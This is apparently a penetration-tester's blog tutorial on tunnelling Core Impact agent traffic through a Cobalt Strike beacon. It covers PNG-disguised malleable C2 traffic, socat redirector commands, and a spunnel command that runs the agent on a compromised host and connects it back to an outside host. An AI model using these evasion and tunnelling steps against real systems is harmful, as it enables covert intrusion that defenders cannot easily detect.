Tunnelling Core Impact Through Cobalt Strike
I keep saying that my mission is to turn hackers into networkers and networkers into hackers. Having an understanding is great but having the knowledge is even better. I have met amazing hackers that knew VLANs existed but not how to use them in an engagement. I’ve met networkers who know what a C2 is but nothing about masquerading C2 traffic. In this article, I’m going to outline how to tunnel Core Impact traffic through a Cobalt Strike beacon chain.
One of the cool features of Cobalt Strike (and other C2 infrastructures) is the ability to hide your traffic in with “normal” traffic. I’ve chosen to use a PNG file download to blend in with for this scenario. You could set it up as a DNS query if you wanted… The possibilities are almost endless.
In addition, I’ve created two servers on the Internet to act as redirectors for the Cobalt Strike beacon traffic. These act like load balancers so if the Blue Team detects one of them as a threat source and block it, the other will continue to work.
First, let’s take a look at the final picture we’re going to reach:
Here’s what we’re going to have:
- A Compromised Asset in our target network, very likely behind a firewall with UTM features
- Two redirectors
- The Cobalt Strike TeamServer on the Internet
- The Core Impact asset behind a firewall
Let’s get started.
On your Cobalt Strike machine, configure a C2 malleable profile to use. As mentioned before, I’ve created one which prepends and appends the appropriate header and footer to be detected as a PNG file. Once you’ve verified your profile with “c2lint” and are happy with it, start up the TeamServer using your profile. Create a new “Listener” and customize it to your needs.
For this example, I’m using HTTP (no TLS) so that I can show you the packets later on. In the “HTTP Hosts:” area, put in the IP addresses of your redirector servers. I suggest using the “failover” method for the “Host Rotation Strategy” as the “round-robin” will expose all of your redirectors off the bat.
On each of your redirectors, install the “socat” program and configure the forwarding by running: socat TCP4-LISTEN:80,fork TCP4:5.6.7.8:80
where 5.6.7.8
is the IP address of your Cobalt Strike TeamServer. Also, if you’re using UDP, IPv6 and/or another Layer-4 port, modify the command accordingly. What this does is listen on TCP/80 (IPv4 only) and any packets which arrive on that socket will be forwarded to 5.6.7.8:80 on TCP.
Now that your “Listener” is listening, get the Cobalt Strike beacon installed on the Compromised Asset. There are many ways to do this and many situations to cover so I won’t go into detail here but I will say that phishing combined with a Web Drive-by Stageless is one of my favourites.
You should now be at a point where you have the Compromised Asset in your Cobalt Strike workspace.
From here, you can right-click on the object and perform normal Cobalt Strike actions as you normally would. We’re interested in combining our Cobalt Strike access with Core Impact so let’s get Core Impact ready to go.
Core Impact uses it’s own agents outside of Cobalt Strike as they are two different programs. In our example, our Core Impact machine is behind a firewall and subject to Hide-NAT. The first thing we need to do is create a firewall rule to perform (at least) PAT (Layer-4 translation) or a full Static-NAT (Layer-3 translation) inbound. Each firewall vendor is different but every one that I’ve come across will allow you to do either of these. If you’re short on public IP spaces, you’re going to want to use PAT.
Make sure you set the source as the IP address of your TeamServer since that’s where the communication will be coming from. In addition, choose a TCP port to use for Core Impact agent communication. I’ve chosen TCP/1234 for the example so make sure that TCP/1234 is forwarded (PAT) to the Core Impact host. Regardless of PAT or NAT, ensure the action is allow/accept/permit on the firewall. You can test this by running: hping3 public.ip.of.firewall -S -p 1234 -c 3
from the TeamServer machine and you should get three SYN/ACK packets back. Don’t proceed until you get proper replies.
With the proper firewall rules in place, the TeamServer can now communicate with Core Impact which means we can configure our Core Impact agent for distribution.
Open your Core Impact session and select the “Modules” tab on the bottom-left. In the search bar at the top, search for “Package and Register Agent”.
Fill out the platform-specific items for your target (Windows/Linux, x32/x64) and save the file somewhere you’ll remember. Expand the “Agent Connection” section and modify the “Connection Method” to use “Connect from target” and specify the port that you opened up on your firewall. Lastly, make sure the “Connect Back Hostname” is set to “localhost”.
This tells the Core Impact agent to connect to the Core Impact server to use TCP/1234 but don’t worry… We’re going to masquerade that inside of Cobalt Strike and the C2 profile we loaded earlier.
Transfer (SFTP) the saved file from your Core Impact machine up to your Cobalt Strike machine as we are going to use Cobalt Strike to install the Core Impact agent. Once done, continue on.
Going back to the Cobalt Strike GUI, right-click on the Compromised Asset and select “Interact”. Assuming our Compromised Asset is running x64 architecture, that our firewall public IP (or Core Impact Static NAT IP) is 1.2.3.4 and that we want to use TCP/3306 as our socket on the Compromised Asset, put in the following command on the bottom bar: spunnel x64 1.2.3.4 3306
and select the Core Impact package we just uploaded.
This tells our Cobalt Strike instance which is already installed on the Compromised Asset to create a TCP socket on port 3306 which the Cobalt Strike instance will control. It then delivers the program we specify and has the output sent back through the socket we opened. So our Core Impact agent will communicate with our Cobalt Strike TeamServer.
But wait… If Core Impact and Cobalt Strike are different programs, how does this help us? Won’t Cobalt Strike just ignore the information being sent?
With the IP address set, anything coming out of that tunnel (spunnel) will be sent to the IP address we’ve specified and since the Core Impact agent is told to run on TCP/1234, it will be forwarded to that port for us. The Core Impact traffic will appear to come from our Cobalt Strike IP address (as it should) and any data leaving the Compromised Asset will travel along our Cobalt Strike beacon path which, if you remember, we configured our two redirectors.
The lime coloured boxes are my first redirect server and the blue coloured boxes are my second redirect server. You can see the PNG file end information in the ASCII printout on the bottom frame of Wireshark. I’ve redacted the domain name I was using as well as the rest of the payload but you can see that redirectors are working as expected and that the transfer of Cobalt Strike traffic is being sent in a GET request for “logo.png” from the server.
After a few seconds or maybe a minute or two (depending on your C2 profile) you’ll get a new agent notification from Core Impact which you can now interact with. Core Impact will communicate with the Cobalt Strike TeamServer which will then encapsulate the Core Impact traffic within it’s own beacon stream to the Compromised Asset and finally processed by the Core Impact agent.
You may say to yourself: “This seems an awful lot like SSH tunnelling.” and you’d be correct. If you’re having issues with understanding the flow of what’s happened here, I’d suggest setting up a few Linux boxes and practice SSH forward and reverse port forwarding. I’ve got a three minute video here https://www.youtube.com/watch?v=SPDh_1p67lQ if you wanted to learn more on the topic.